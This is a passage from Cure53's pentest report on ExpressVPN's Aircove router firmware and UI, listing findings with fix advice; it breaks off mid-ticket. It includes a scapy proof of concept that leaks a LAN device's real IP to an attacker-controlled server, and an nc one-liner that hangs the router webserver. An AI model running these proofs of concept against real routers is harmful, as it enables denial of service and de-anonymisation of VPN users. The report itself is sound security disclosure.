Fine penetration tests for fine websites

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

# Pentest-Report ExpressVPN Aircove Firmware 11.2024

Cure53, Dr.-Ing. M. Heiderich, MSc. A. Schloegl, MSc. H. Moesl-Canaval, BSc. C. Mayr, L. Kofler, Dipl.-Ing. D. Gstir

## Index

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

## Introduction

*"Developed by security experts, Aircove is ExpressVPN's range of Wi-Fi 6 routers with built-in VPN.* While any router can provide internet access, our Aircove range goes one better: It instantly brings all the benefits of ExpressVPN to everything on your network—even smart home appliances and streaming sticks. If it's connected, it's protected."*

From https://www.expressvpn.com/aircove

This report (ID *EXP-17*) has been created by Cure53 following the completion of a penetration test and source code audit against ExpressVPN's Aircove V5 router components and firmware implementation, as well as the OpenWRT source code.

From a contextual perspective, this assignment was requested by representatives from ExpressVPN in September 2024. The evaluation tasks were then performed in November 2024, namely between CW45 and CW47, in order to determine the security posture of the aforementioned aspects. A six-person testing team, selected for their ample expertise handling materials of this nature, was allocated a total of thirty-six days to glean a precise estimation of the construct's defensive capabilities.

The focus elements were placed into three separate work packages (WPs) for efficiency purposes. These read as follows:

- **WP1**: Source code audits & security reviews against ExpressVPN Aircove firmware
- **WP2**: Code audits & security reviews against ExpressVPN Router UI & frontend
- **WP3**: Source code audits & security reviews against relevant OpenWRT sources

The Express VPN Aircove V5 firmware and router interface have been inspected by Cure53 on one previous occasion, specifically during an engagement held in June and July 2022 (see *EXP-07*).

Cure53 was provided with sources, documentation, access to a testing environment, test-user credentials, and other useful assets to facilitate the technical evaluations. The pentest methodology of choice was white-box, and all necessary preparations were fulfilled in late October and early November 2024 (CW44) to encourage a seamless start.

Communications were handled on Slack, with a dedicated and shared Slack channel enabling discussions between the ExpressVPN and Cure53 teams. All personnel from both organizations that played an active role in this particular assessment were invited to join the channel. In general, the Cure53 testers would like to extend their appreciation to the internal team for overseeing a productive collaboration period. Queries were rarely required and the scope objectives were transparent from the outset. No noteworthy roadblocks were encountered during the test. Live reporting was offered but deemed surplus to requirements.

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Concerning the findings, a total of eight were encountered and documented in ticket form following extensive coverage during the examination period. Three were security vulnerabilities and the other five were hardening recommendations or minor risk faults.

This yield is moderate in comparison with other similarly scoped pentests, reflecting favorably on Aircove's security performance. Cure53 could not locate any *Critical* or even *High* severity vulnerabilities, though the ExpressVPN developers should strive to address all negative circumstances as soon as possible.

All in all, the inspected features offer sufficient safeguarding at present. Nonetheless, considering that this audit focused on specific attributes, one must consider that advanced threat actors may employ sophisticated breach techniques. To neutralize these risks, Cure53 recommends conducting regular security assessments, either annually or after rolling out significant system modifications.

The report will now itemize the *Scope*, general project setup, and assets leveraged in the bullet points below. Next, the *Test Methodology* clarifies the evaluation techniques applied by Cure53 and all interesting subsequent observations, with the aim of verifying the extent of the test team's efforts in spite of the small yield of findings.

Afterwards, all discoveries are presented in ticket form and in chronological order of identification, separated into two individual subcategories: *Identified Vulnerabilities* and *Miscellaneous Issues*. To clarify the finding in question, additional information such as a technical overview, Proof-of-Concept (PoC) and/or steps to reproduce, affected code excerpts, and fix advice are all provided for each ticket. Lastly, the *Conclusions* section dives deeper into the assignment as a whole, collating the evidence collected throughout the test period to offer a wider appraisal of the scope's security performance.

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

## Scope

- **Source code audits & security assessments against ExpressVPN's Aircove Firmware**
  - **WP1:** Source code audits & security reviews against ExpressVPN Aircove firmware
    - **Key scope item:**
      - xv_router_firmware
    - **Firmware image:**
      - File:
        - *xv_router_firmware.zip*
      - SHA256:
        - b56b07f8fd7476910b4dd35c403c787977fd8a220062aa02a472482cf871e8f0
    - **App:**
      - File:
        - *expressvpn-app-for-routers-5.1.0.4787_beta.all.7z*
      - SHA256:
        - 47baf2918b80df1a99e6ca525c9ee3d25a61d7d75d5d41ec3783fdbd31f2aa2b
  - **WP2:** Source code audits & security reviews against ExpressVPN Router UI & frontend
    - **Key scope item:**
      - xv_router_ui
    - **Source code:**
      - File:
        - *xv_router_ui.zip*
      - SHA256:
        - 9758db432d7e37eb886847115f39766adaee24f7445cff89f8345d0f2fec186b
  - **WP3:** Source code audits & security reviews against relevant OpenWRT sources
    - **Key scope item:**
      - xv_router_openwrt
    - **Source code:**
      - File:
        - *xv_router_openwrt.zip*
      - SHA256:
        - a75637f44ab3b95704a4d9c937eb75c7d7dd14587522a6fc293899ba32b4e3a8
  - **Test environment:**
    - 2 Aircove router:
      - SSID: Aircove-8e5
      - SSID: Aircove-06d
    - 2 Aircove GO router:
      - SSID: Aircove-b5f
      - SSID: Aircove-e3b
  - **Test-supporting material was shared with Cure53**
  - **All relevant sources were shared with Cure53**

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

## Severity Glossary

The following section details the varying severity levels assigned to the issues discovered in this report.

***Critical***: The highest possible severity level. Denotes issues that allow attackers to achieve extensive access to sensitive areas, such as critical systems, applications, data, and other pertinent components in scope.

*High*: Denotes issues that allow attackers to achieve limited access to sensitive areas in scope. This also includes vulnerabilities with limited exploitability that can incur significant impact upon the target in scope.

*Medium*: Denotes issues that do not incur major impact on the areas in scope. Additionally, issues requiring limited exploitation are graded as *Medium*.

*Low*: Denotes issues that incur considerably limited impact on the areas in scope. These mostly do not depend on the degree of exploitation, but rather on the minor severity of retrievable information or low-grade risk upon the areas in scope.

*Info*: Denotes issues deemed merely informational in nature. They are mostly considered hardening recommendations or best-practice improvements that will generally enhance the security posture of the areas in scope.

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

# Testing Methodology

This section outlines the strategies adopted by Cure53 during the penetration test and source code audit of ExpressVPN's Aircove V5 router firmware implementation. The comprehensive assessment provided an accurate evaluation of the firmware codebase's security posture, including patches to the OpenWRT base and U-Boot boot-loader. The router's UI components were also subjected to thorough examinations.

## Threat Model

Prior to enumerating the test methodology steps, Cure53 would like to provide insights regarding the target's threat model. ExpressVPN supplied an external scoping document that precisely outlined all in-scope components and plausible attacker capabilities.

Various types of adversaries were considered throughout the engagement, the first of which being nation state actors that could exploit vulnerabilities in the router firmware or OS from the WAN to compromise the router or connected devices. The following attacks were specifically suggested:

- Man in the Middle (MitM) attacks
- Static keys or weak encryption
- Weak random number generation
- TLS downgrading attacks
- Replay attacks
- Packet injection
- Certificate handling bugs
- Exploitation of remote or locally exposed interfaces and services

Next, Cure53 explored the likelihood of threat actors exploiting a vulnerability in the router firmware or OS from the LAN in order to compromise the router or connected devices. Remote code execution (RCE) and sensitive data exposure via logs or other means that could violate ExpressVPN's privacy policy[1] were specifically mentioned.

Moreover, the possibility of threat actors monitoring traffic from a device running ExpressVPN router firmware was estimated, which could help to gain insight into the usage and traffic inside the VPN tunnel. Data leaks, anomaly detection, packet size, and traffic patterns were all pinpointed as pertinent vectors for investigation.

[1] https://www.expressvpn.com/de/privacy-policy

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Lastly, certain items and aspects were marked as explicitly out of scope:

- Code related to DD-WRT.
- Physical modifications to the router, including any attack that requires physical access, such as the firmware recovery process.
- Potential issues in the Qualcomm SDK or AX(G)1800 boot-loaders.
- The wolfSSL Library and any third-party dependencies.
- Development or testing tools; these were only provided for completeness and are not shipped with production firmware.
- Any issue arising from non-standard router configurations, e.g., exposing LAN components to the WAN with port forwarding.
- SSH access to the router via the LAN; this is disabled in production firmware and is only available in QA builds.
- The utilized AWS APIs, which should not be fuzzed, scanned, or otherwise focused on. However, attacks on the traffic between the router and these APIs (e.g., MitM attacks) are still considered in-scope.

## Test Coverage for WP1: ExpressVPN Aircove Firmware

The firmware audit of the Aircove devices adhered to the OWASP IoT Security Testing Guide[2], with a particular emphasis on the firmware (ISTG-FW) aspects. The following elements were systematically analyzed:

- Authorization or unauthorized access to the firmware
- Privilege escalation
- Disclosure of user data
- Authorization of firmware updates
- Firmware update signature checks
- Transmission of firmware updates

The Aircove Firmware is a purpose-built installation of Linux with an integrated management interface and VPN client. A production build of the *lightway* client is leveraged as a VPN client, though this has already been tested in previous projects (see *EXP-13* and *EXP-16*). As such, the management interface and corresponding interaction with the underlying Linux networking configuration were the most relevant focus points for WP1.

The backend of the management interface operates via a REST API, which is implemented using several MoonScript[3] files. These scripts represent a significant proportion of Aircove's core functionality and are designed to fulfill various essential activities.

Considering that the MoonScripts offer vastly different entry and exit points, they were separated into the following categories for ease of analysis:

[2] https://owasp.org/owasp-istg/03_test_cases/firmware/index.html
[3] https://moonscript.org/

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

- API handlers:
  - Respond to requests from the UI frontend and initiate call chains for setting alterations.
- Services:
  - Initiated after boot and monitor for messages in the background.
  - Communication to and between these services functions via *cqueues* channels[4].
  - The configured service actions are enacted when a message is received on the relevant channel.
- Adapters:
  - Facilitate router configuration modifications for Linux functionality, e.g., the control interface of *wpa_supplicant* to manage WiFi connections and password management using the Linux system password for the *root* account.

Since the update and auto-update functions present the router's core attack surface, the associated integrity checks were diligently scrutinized. Regarding the typical upload functionality triggered by users via the UI, Cure53 observed that the firmware package contains a signature that is verified against the router's certificate store using wolfSSL. All attempts to upload firmware not signed by ExpressVPN will fail with an error and the firmware file will be deleted. The testers reviewed the probability of injecting a malicious firmware file between the calls to *upload* and *install* for the firmware endpoints, though all efforts here were unsuccessful.

A similar verification activity occurs during the auto-update process that is initiated by a background service. After the update file is downloaded, intermediate certificates and URLs for the relevant certificate revocation lists (CRLs) are extracted. The inclusion of CRLs mitigates the risk of compromised certificates or private keys, as these can be revoked. Cure53 could not locate integrity verification for the files containing the CRL download URLs, meaning that they could point to an attacker-hosted outdated version. OCSP stapling[5] could provide additional security here if desired. Following the removal of revoked certificates, the certificate chain is re-verified against the system certificate store. The update will only be applied after successful verification. Consequently, the update and auto-update processes are sufficiently safeguarded from a security standpoint.

Another key area of investigation was the management and assignment of VPN tunnels to devices. The testers traced the flow of device tunnel assignments via the *uapi*, down to the communication using the *device_manager* channel, and over to the *device.manager* MoonScript component. Routing of the specific packets to the relevant tunnel operates via an *iptables* mark applied in the NAT table. Based on this mark, DNS traffic is routed to the correct *dnsmasq* process, which is responsible for applying ad blockers and similar, which are implemented using DNS filters.

[4] https://luarocks.org/modules/daurnimator/cqueues
[5] https://www.fortinet.com/resources/cyberglossary/ocsp

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Assignment to the VPN tunnels functions via Source Network Address Translation (SNAT) and port reassignment, based on the same marks as the DNS redirection. These rules were all considered secure and robust.

During the audit, Cure53 noted that a bypass rule for *lightway* traffic had been established, thus avoiding nested tunneling for end devices with a working ExpressVPN client. However, these allow an attacker inside the LAN to leak the unprotected public IP by sending a special packet to a server under their control. Albeit, the VPN traffic itself could not be breached. Remedial advice for this weakness is offered in ticket EXP-17-007.

As the review team was also provided with an AircoveGo test device, its Wifi-Link capability (connecting to WAN via WiFi access point) was investigated. Specifically, Cure53 appraised the likelihood of EvilTwin attacks[6] impersonating a public WiFi, which could allow access to any unencrypted messages sent to WAN. Those attacks were found not to be possible.

Cure53 employed multiple heavily instrumented devices on the router's LAN and WAN sides during this initiative, which enabled capturing and observing the router's WAN traffic. This traffic indicated that the first outgoing packets sent by the router are leveraged to establish the VPN tunnel, utilizing TLS for TCP-based tunneling and DTLS[7] for UDP tunneling. The security guarantees for both, combined with the robust certificate verification against a pinned certificate in the *lightway* binary, ultimately blocks any interception opportunities in this context.

The ExpressVPN maintainers granted access to a QA build of the firmware with SSH access enabled - this is different to the production version, and SSH had to specifically enabled for Cure53. This allowed the auditors to perform a deep-dive analysis of the Linux configuration and holistic instrumentation of the *cove-apps* (after obtaining and pinning the correct obfuscation key).

During this assessment, Cure53 could not locate any attack vectors to compromise the underlying router via RCE, local and remote file inclusion (LFI/RFI), or even log poisoning. Albeit, a number of security hardening opportunities were observed, as detailed in tickets EXP-17-002, EXP-17-003, EXP-17-004, and EXP-17-006. These are not explicitly in scope and pertain to defense-in-depth recommendations with scant direct security ramifications.

[6] https://nordvpn.com/blog/evil-twin-attack/
[7] https://datatracker.ietf.org/doc/html/rfc6347

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Elsewhere, Cure53 noticed that the firmware update process neglects to offer downgrade protection either in its manual or automated form. Moreover, the router's recovery feature fails to check cryptographic signatures. The ExpressVPN team confirmed that these are explicit design decisions; users should be able to revert to firmware in order to fix regressions, while physical access should always allow the user to flash whichever firmware they desire, regardless of whether it constitutes an ExpressVPN product. These considerations are astute and the processes ultimately present adequate shielding.

The application's direct dependencies were also vetted to ensure that they are up-to-date and do not persist known vulnerabilities. This task revealed that the used HTTP webserver version lacks a fix for a vulnerability that enables attackers to launch a Denial-of-Service (DoS) attack against the REST API exposed on the LAN (see EXP-17-008). The required fix is available in a recent version of the webserver.

Notably, only the provided source code was subject to analysis by the Cure53 team, while reverse engineering or binary analysis of other components was not performed during this exercise.

## Test Coverage for WP2: ExpressVPN Router UI & Frontend

The UI assessment adhered to the OWASP IoT Security Testing Guide (ISTG-UI), focusing on the following aspects:

- Authorization
- Potential command injections
- Input validation
- Disclosure of implementation, ecosystem details, and user data
- Use of weak cryptographic algorithms
- Circumvention of intended business logic

The source code repositories provided by the customer contained the full implementation of the ExpressVPN router's administration frontend interface, which was integrated using Vue.js.

The Cure53 consultants received devices running the firmware version under review. The test environment for dynamic frontend testing included a device providing WAN access to the router, the router itself, and devices connected to the ExpressVPN router either via Wi-Fi or Ethernet ports. The WAN access device was configured to intercept all outgoing traffic, while internal devices were established for proxy usage. This configuration enabled dynamic analysis of the administration interface by intercepting and manipulating HTTP traffic.

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

This setup facilitated the evaluation and verification of findings from the manual code audit, as well as the execution of dynamic testing tasks during this phase of the assessment, including (but not limited to):

- Traffic reviews to verify optimal transmission of data via the configured VPN tunnel and identify any unencrypted API calls made by the router.
- Interface explorations for web application vulnerabilities such as Cross-Site Request Forgery (CSRF), Cross-Site Scripting (XSS), and other injection-related problems.
- Header and cookie inspection for common faults, including absent security-related cookie flags.

While probing the source code for the API handlers, Cure53 verified that all sensitive endpoints of the internal *uapi* offer sufficient authentication checks, while sensitive information is not stored in log files. Only a single account is required, meaning that the password for the management UI and *root* user is the same, allowing the backend to utilize the underlying system's capabilities for password hashing. Cure53 considers this an adequate and elegant solution for authentication. The testers also checked to determine whether the router was still in an *onboarding* state for the default *admin* password, which was not the case. This password cannot typically be configured via the user interface, since strict enforcement of a minimum length is asserted (eight characters).

Subsequently, the security foundation of the API key itself was examined. These keys represent an AES-encrypted string, which in plaintext consists of KEY: *created_at*:*valid_until* with *created_at* and *valid_until* replaced with the respective UNIX timestamps. Cure53 noted that the API accepts AES ciphertexts encrypted with cipher-block-chaining (CBC) mode for a certain period after booting. This could lead to length extension attacks due to the unbounded regex matching used during the decryption process. However, the testers could not find any location whereby an initial CBC encrypted payload is generated. Thus, this situation presents little risk at present. If the backwards capability is deemed unnecessary, the internal team should consider removing CBC decryption entirely. The API key is typically encrypted using AES-GCM (Galois counter mode), which offers performant encryption and authentication mechanisms that conform with security best practices.

The UI code was closely inspected to ascertain the authentication token handling process after user login, as this oftentimes represents a prime target for CSRF and XSS attacks. ExpressVPN returns the authentication token in an insecure cookie (i.e., lacking the *Secure, HttpOnly, SameSite*, and other security attributes commonly used for cookies bearing authentication tokens), which is an unconventional approach. Once set, the browser sends the cookie with every request to the REST API, though it is not leveraged by the *uapi* implementation. Alternatively, the authentication token is expected in the *X-API-Key* HTTP header. As such, the UI must be able to read the cookie value via JavaScript code and place it into the header, which explains the lack of the *HttpOnly* attribute and increases the application’s resilience to CSRF attacks. The UI is only accessible via LAN, thus limiting accessibility.

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The implementation attempts to upgrade the connection to HTTPS where possible via a dedicated logic if the user accesses it using the recommended *http://expressvpnrouter.com* URL. For rare cases where this is not possible, access is permitted via plain HTTP to avoid certificate errors in the browser. This setup initially appeared insecure, though Cure53 could not identify any weaknesses that would allow authentication token theft via XSS vectors, for instance.

Lastly, the *uapi* was studied to determine its protection against malicious inputs. Here, Cure53 confirmed that a length limit on the API key is not imposed prior to decryption. This allows an attacker to send an excessively long API key that will hang the server upon decryption, hence causing a DoS (see EXP-17-001). Cure53 also observed that nonsensical values can be entered for actions such as port forwarding, though these values do not degrade processing security.

## Test Coverage for WP3: OpenWRT Sources

The firmware of the Aircove devices is based on a recent OpenWRT version from February 19, 2024[8]. The following aspects were analyzed during this endeavor:

The review of the OpenWRT customization patches focused on a diff comparison between the *xv_router_openwrt* code and official OpenWRT repositories. Modifications were predominantly low-level, involving Device Tree code, build instructions, and OpenWRT configurations tailored for the AX1800 and AXG1800 devices.

Code alterations against the official OpenWRT upstream source code were reviewed in an attempt to identify common programming errors or security vulnerabilities related to subpar memory management, buffer overflows, or other software bugs that could compromise the firmware's security or stability. Despite strenuous efforts, Cure53 could not pinpoint any issues within this code. However, one should note that the testers lacked comprehensive hardware-level insight, which ultimately restricted the ability to assess all hardware-based security risks.

## Limitations

In summary, the outcomes of this testing engagement are predicated by the following constraints. Firstly, the reviews did not cover any components that were not included in the source code archives, while only a cursory assessment of external components was performed where viable.

Secondly, the project's primary focus was to identify remotely exploitable vulnerabilities in all services exposed in the default configuration of the Aircove router. ExpressVPN explicitly excluded any attack vectors from the scope that could become exposed over the WAN as a result of specific configuration changes issued by end users. Lastly, information leakage mitigated by the VPN connection was also considered out-of-scope.

[8] https://github.com/openwrt/openwrt/commit/9d9dd518ff7be8e69775e78e3ebb2eaa3f0960a2

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

## Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified during the testing period. Notably, findings are cited in chronological order rather than by degree of impact, with the severity rank offered in brackets following the title heading for each vulnerability. Furthermore, all tickets are given a unique identifier (e.g., *EXP-17-001*) to facilitate any future follow-up correspondence.

### EXP-17-001 WP2: Management UI DoS via absent API key length check *(Low)*

**CVSS Score**: 5.3
**CVSS String**: CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L
**CWE**: https://cwe.mitre.org/data/definitions/1284.html

***Fix Note**: The issue was addressed by the ExpressVPN team and the fix was verified by Cure53 who were able to review the related diff & PR. The issue no longer exists.*

The UAPI management interface relies on an API key for authentication, whereby each request's API key is decrypted using AES. However, length validation is not performed on the key prior to decryption. As a result, excessively long keys of up to 4kB, for example, can be passed to the AES decryption function by malicious users, causing a significant deceleration in request processing (up to 50 times slower). Only a few concurrent requests with oversized keys can render the management web UI unresponsive and unusable. Users will be unable to alter configurations in the router, such as parental control settings, while the router is affected.

Testing revealed that network traffic through the router is unaffected by this DoS vector. Additionally, this vulnerability is only exploitable within the LAN, which is often private in this router use-case. Accordingly, the ticket has been assigned a *Low* severity rating, despite the resulting 5.3 CVSS score.

**Affected files:**

- *xv_router_firmware/meta-app/cove-apps/files/scripts/uapi/connector/auth.moon*
- *xv_router/xv_router_firmware/meta-app/cove-apps/files/scripts/utils/token.moon*

**Affected code:**

```
parse_api_key = (key, old)->
       s = decrypt "#{key}", old
       valid_till, expires = s\match "^KEY:(%d+),(%d+)"
       valid_till = (tonumber valid_till) or 0
       expires = (tonumber expires) or 0
       valid_till, expires
```

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

**Steps to reproduce:**

1. Create/intercept a HTTP request.
2. Set the X-API-Key header to a random string expanded close to the router's maximum HTTP header size (~4kB).
3. Submit multiple parallel requests using Burp[9] Intruder or cURL and measure the response time of the management UI and subsequent API requests. The slowdown of individual requests is already measurable with sequential HTTP requests.

To mitigate this vulnerability, Cure53 recommends either truncating the input API key string before passing it to the AES decryption function, or enforcing a maximum API key length, which would nullify the risk of DoS attacks via excessively long inputs. Using the AES-GCM algorithm, a 64-byte string is sufficient to include the encrypted *KEY:* prefix, two POSIX timestamps separated by a comma, the IV, and the authentication tag, ensuring that the API key is effectively constrained within this limit. This length restriction applies to the Base64-decoded API key in the *decrypt* function of the *token.moon* file.

## EXP-17-007 WP1: Bypass rules for *lightway* protocol allow IP leak *(Medium)*

**CVSS Score**: 5.3
**CVSS String**: CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
**CWE**: https://cwe.mitre.org/data/definitions/349.html

***Fix Note**: The issue was addressed by the ExpressVPN team and the fix was verified by Cure53 who were able to review the related diff & PR. The issue no longer exists.*

While auditing the LAN to WAN routing process, Cure53 noticed that a special *iptables* rule is created for devices assigned to a group with a VPN in order to avoid nested *lightway* VPN tunnels. This rule checks the first two bytes of the UDP payload to determine whether the hexadecimal value is *0x4865*, which corresponds to the characters *H* and *e* in the ASCII table. If a *lightway* packet is encountered, it is allowed to bypass all further *iptables* processing, since the jump target is set to *ACCEPT*.

This situation allows an attacker inside the LAN to send a UDP packet with a valid *lightway* header to a server under their control, which will be forwarded without adequate VPN tunneling. The server thus receives the crafted packet from the unprotected IP address of the victim, leading to a privacy violation.

**Affected file:**
*xv_router/xv_router_firmware/meta-app/cove-apps/files/scripts/firewall/iptables.moon:756-763*

**Affected code:**

```
for ip, tunnel in utils.sort.pairs @_devices
```

[9] https://portswigger.net/burp

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
        up_ip = @_tunnel_updown[tunnel]
        if "function" == type up_ip
              up_ip = up_ip!
        if up_ip and "string" == type up_ip
              @_acc "-a cove_forward -s #{ip} -p udp" ..
                    " -m comment --comment \"lightway passthrough\"" ..
                    " -m u32 --u32 \"0>>22&0x3c@6&0xffff=0x4865\" -j
accept"
```

**Steps to reproduce:**

1. Ensure that the tested Aircove device has a device group with active VPN tunneling.
2. If SSH access to the router is available, the existence of the vulnerable firewall rule can be confirmed using the *iptables -L cove_forward* command, which should output one rule with the following comment:

   ```
   /* lightway passthrough */ u32 "0x0>>0x16&0x3c@0x6&0xffff=0x4865"
   ```

3. Set up an attacker-controlled and publicly routed UDP socket that outputs the incoming source addresses. A simple Python script to accomplish this on port 1337 is offered below under the *Mini socket listener* heading.
4. Run the PoC below on any device in the LAN, ensuring that the source address of the UDP packet is set to the address registered to a known device (i.e., with the *iptables* bypass rule).

**Mini socket listener:**

```
import socket

server_address = ('0.0.0.0', 1337)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(server_address)
print("Starting server")
try:
    while True:
        data, client_address = sock.recvfrom(1024)
        print(f"Received connection from {client_address}")
except KeyboardInterrupt:
    print("Shutting down server.")
finally:
    # Close the socket when done
    sock.close()
```

The following *scapy*[10] script will craft a UDP packet with a valid *lightway* header and send it to an attacker-controlled server:

[10] https://scapy.net/

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

**PoC:**

```
from scapy.all import *

payload = bytes(
    [
        # header
        0x48,
        0x65,
        # major/minor version
        0x01,
        0x01,
        0x0,
        # reserved
        0xFF,
        0xFF,
        0xFF,
        # session id
        0x00,
        0x00,
        0x00,
        0x01,
    ]
)
payload += bytes([0xab] * 20)

print("Sending package that should go via VPN")
send(IP(dst=CONTROLLED_IP)/UDP(dport=1337)/"test")

print("Sending package that should escape")
send(
    IP(dst=CONTROLLED_IP, src=DEVICE_IP)
    / UDP(dport=1337, sport=40890)
    / Raw(payload)
)
```

To mitigate this vulnerability, Cure53 recommends implementing an additional layer of validation for the bypass rule. Given ExpressVPN's control over its infrastructure, all potential VPN endpoints are known, enabling the filtering of attacker-controlled endpoints in a secondary stage and potentially within a separate chain.

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

## EXP-17-008 WP1: Webserver DoS due to unpatched CVE *(Low)*

**CVSS Score**: 5.3
**CVSS String**: CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L
**CWE**: https://cwe.mitre.org/data/definitions/1284.html

***Fix Note**: The issue was addressed by the ExpressVPN team and the fix was verified by Cure53 who were able to review the related diff & PR. The issue no longer exists.*

Testing confirmed that the webserver in use relies on the *lua-http* library version *v0.4*, which is outdated and does not include the fix for CVE-2023-4540[11]. The CVE enables an attacker to execute a Denial of Service (DoS) attack by sending a specially crafted request to the server. The request can cause excessive memory allocation and force the program into an infinite loop, rendering the service unresponsive.

**Affected file:**
*xv_router_firmware/meta-app/liblua-framework/files/lua-http/v0.4.tar.gz*

**PoC:**
```
echo -e "POST /v2/info HTTP/1.1\r
Host: expressvpnrouter.com\r
Content-Type: application/json\r
Content-Length: 50\r
\r
test" | nc expressvpnrouter.com 80
[ Press CTRL+c ]
```

The PoC presented above employs a shell command, though a user's browser can also be leveraged to run it. However, preliminary testing indicated that this is complicated by browser security features such as CORS[12]. As only an HTTP request shorter than the *Content-Length* header value is required, a skilled adversary or malicious browser extension could still achieve this.

To mitigate this vulnerability, Cure53 suggests updating to the latest version of *lua-http* or applying the patch for the vulnerability, which can be located in the *lua-http* repository's *ddab283* commit[13].

[11] https://nvd.nist.gov/vuln/detail/CVE-2023-4540
[12] https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
[13] https://github.com/daurnimator/lua-http/commit/ddab2835c583d45dec62680ca8d3cbde55e0bae6

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

## Miscellaneous Issues

This section covers any and all noteworthy findings that did not incur an exploit but may assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy method by which to be called. Conclusively, while a vulnerability is present, an exploit may not always be possible.

### EXP-17-002 WP1: Services operate with *root* user privileges *(Medium)*

**CVSS Score:** 5.3
**CVSS String:** CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
**CWE:** https://cwe.mitre.org/data/definitions/250.html

***Note from ExpressVPN**: As part of Aircove's standard operations, specific network and VPN services require root privileges. We've optimized the system to use root for these services while ensuring that Aircove is well hardened against any compromise, as confirmed by Cure53.*

While evaluating the security of the Aircove router, Cure53 conducted a thorough review of the system's processes and permissions using SSH access provided through a QA build. This evaluation highlighted that only a few services are accessible over the LAN in the default configuration, while no services actively listen for incoming connections on the WAN port. On the LAN side, users can engage with Aircove directly via the web interface or indirectly through dnsmasq processes.

However, the web interface exposed to the LAN (and therefore potentially accessible to malicious actors) operates with *root* user privileges, raising concerns about the impact of potential exploitation.

**Command to list listening socket on system:**

```
root@Aircove-b5f:~# netstat -tulpn
Proto Recv-Q Send-Q Local Address           Foreign Address         State
PID/Program name
[...]
tcp        0      0 0.0.0.0:58793           0.0.0.0:*               LISTEN
3267/dnsmasq
tcp        0      0 0.0.0.0:58794           0.0.0.0:*               LISTEN
3266/dnsmasq
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN
2684/cove-connect
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN
2864/dnsmasq
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
2684/cove-connect
[...]
```

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

**Command to display user ID of associated process:**

```
root@Aircove-b5f:~# ps | grep -e "cove-connect" -e "dnsmasq"
 2684 root     19804 S    cove-connect
[...]
 3266 root      1552 S    dnsmasq -p58794 -R --clear-on-reload --servers-
file=/tmp/dnsmasq.8.conf --filter-AAAA -H/tmp/hosts --f
 3267 root      1552 S    dnsmasq -p58793 -R --clear-on-reload --servers-
file=/tmp/dnsmasq.7.conf --filter-AAAA -H/tmp/hosts --f
[...]
```

To mitigate this issue, Cure53 suggests refraining from running exposed services such as the web interface with *root* user privileges, which would minimize the risk posed by attackers exploiting vulnerabilities within the web application and ultimately enhance the system's overall security posture.

## EXP-17-003 WP1: Userspace binary hardening recommendations *(Info)*

**CVSS Score:** 0.0
**CVSS String:** -
**CWE:** https://cwe.mitre.org/data/definitions/693.html

***Note from ExpressVPN**: While this presents minimal risk, we are developing a fix that will roll out in the subsequent updates to Aircove.*

Cure53 found that a number of binaries included in the firmware do not take advantage of all available compiler flags to prevent buffer overflows and other memory-associated bugs, which unnecessarily expands the application's susceptibility to risk.

**Binaries lack FORTIFY_SOURCE protections:**
As a result, common *libc* functions omit buffer overflow checks, increasing the application's proneness to memory corruption vulnerabilities. The following binaries are affected:

- */usr/libexec/cove-runtime*
- */usr/sbin/dnsmasq*
- */usr/bin/dns-filter-cdb*

**Binaries lack stack canaries:**
Stack canaries help to detect and prevent stack-based buffer overflow attacks. The following binaries are affected:

